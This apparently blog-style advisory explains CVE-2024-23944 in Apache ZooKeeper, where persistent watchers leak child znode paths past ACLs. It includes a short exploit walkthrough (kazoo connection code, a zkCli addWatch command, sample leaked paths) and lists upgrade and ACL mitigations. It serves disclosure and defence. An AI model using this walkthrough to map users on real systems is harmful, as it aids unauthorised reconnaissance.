A recently discovered vulnerability, CVE-2024-23944, affects Apache ZooKeeper — a widely used open-source coordination service for distributed applications. This flaw allows an attacker to monitor the names (paths) of child znodes in ZooKeeper by exploiting the way persistent watchers are handled, even when proper Access Control Lists (ACLs) are set. Since znode paths sometimes contain sensitive info — like usernames or internal IDs — this leak could help an attacker map the structure of your system or infer private metadata.
Below, we'll break down the vulnerability in plain language, show a simple exploit, and explain how to defend against it.
What’s the Vulnerability? (CVE-2024-23944 Summary)
When a persistent watcher is put on a parent znode (using the addWatch command), ZooKeeper servers fail to check ACLs when triggering events about child znodes. This lets users with access to the parent see all child znode paths under it, even if they can’t read the data or otherwise wouldn’t know about these children.
Only the path is leaked, not the data in the znodes themselves. Still, paths might look like /users/admin or /logins/jdoe, exposing sensitive user or system info.
Why is it serious?
Because in many systems, just knowing the name or existence of a resource is enough to launch targeted attacks, guess credentials, or gather insight for future exploitation.
How Does the Attack Work?
Let’s say your ZooKeeper has an ACL so only Alice can see /users/alice, and only Bob can see /users/bob. However, anyone with access to /users can set a persistent watcher there. Because of this bug, whenever any user is added under /users, the watcher is triggered, and the full name (path) of the new node is revealed to the watcher’s creator — even if they don't have ACL rights for the new node.
Step-by-Step Exploit Example
Suppose an attacker (Mallory) has read access to /users but NOT to its children. They want to map out all users in the system.
1. Connect to ZooKeeper
from kazoo.client import KazooClient
zk = KazooClient(hosts='zk-server:2181')
zk.start()
### 2. Add a Persistent Watcher to /users
Python's kazoo library doesn’t expose persistent watches directly, but you can use the addWatch command via custom code or manually via zkCli (Java). For illustration:
# In ZooKeeper shell (zkCli.sh)
# Add a persistent recursive watch to /users
addWatch /users persistent
Or, using a lower-level client, Mallory could send a crafted addWatch command.
3. Wait for New Children
Whenever a child node (say /users/admin) is created, ZooKeeper fires a watch event with the *full path* — /users/admin — back to Mallory, even if she has no permissions to see this node normally.
Mallory just logs all received watch events
def child_change(event):
print("Child znode path leaked:", event.path)
# In practice, add watcher logic for /users here.
Output
Child znode path leaked: /users/jdoe
Child znode path leaked: /users/admin
Child znode path leaked: /users/smithj
Even though Mallory can't read or list /users/admin, she knows it exists and its exact path.
Mapping out system structure? Now possible.
Even with minimal data leaking, it’s enough for targeted attacks and reconnaissance.
ZooKeeper 3.9.2 or 3.8.4
- 3.9.2 Release Notes
- 3.8.4 Release Notes
Avoid ACLs relying on znode *names* being secret
- Refrain from granting read/list rights on parent znodes if children are sensitive
Original References
- Apache ZooKeeper Security Advisory (CVE-2024-23944)
- ZooKeeper JIRA Issue ZOOKEEPER-4729
- NVD Entry for CVE-2024-23944
Conclusion
Even small information leaks, like znode paths, can have big consequences — especially if your system uses meaningful names or IDs in children znodes. If you use ZooKeeper, check your version and upgrade ASAP. Don't underestimate the damage from “just” path leaks!
Questions or need code to test if you're vulnerable? Feel free to ask. Stay safe, and keep your configs tight!
*This post is exclusive to the latest updates as of June 2024. Share with your team!*
Timeline
Published on: 03/15/2024 11:15:08 UTC
Last modified on: 11/15/2024 21:35:05 UTC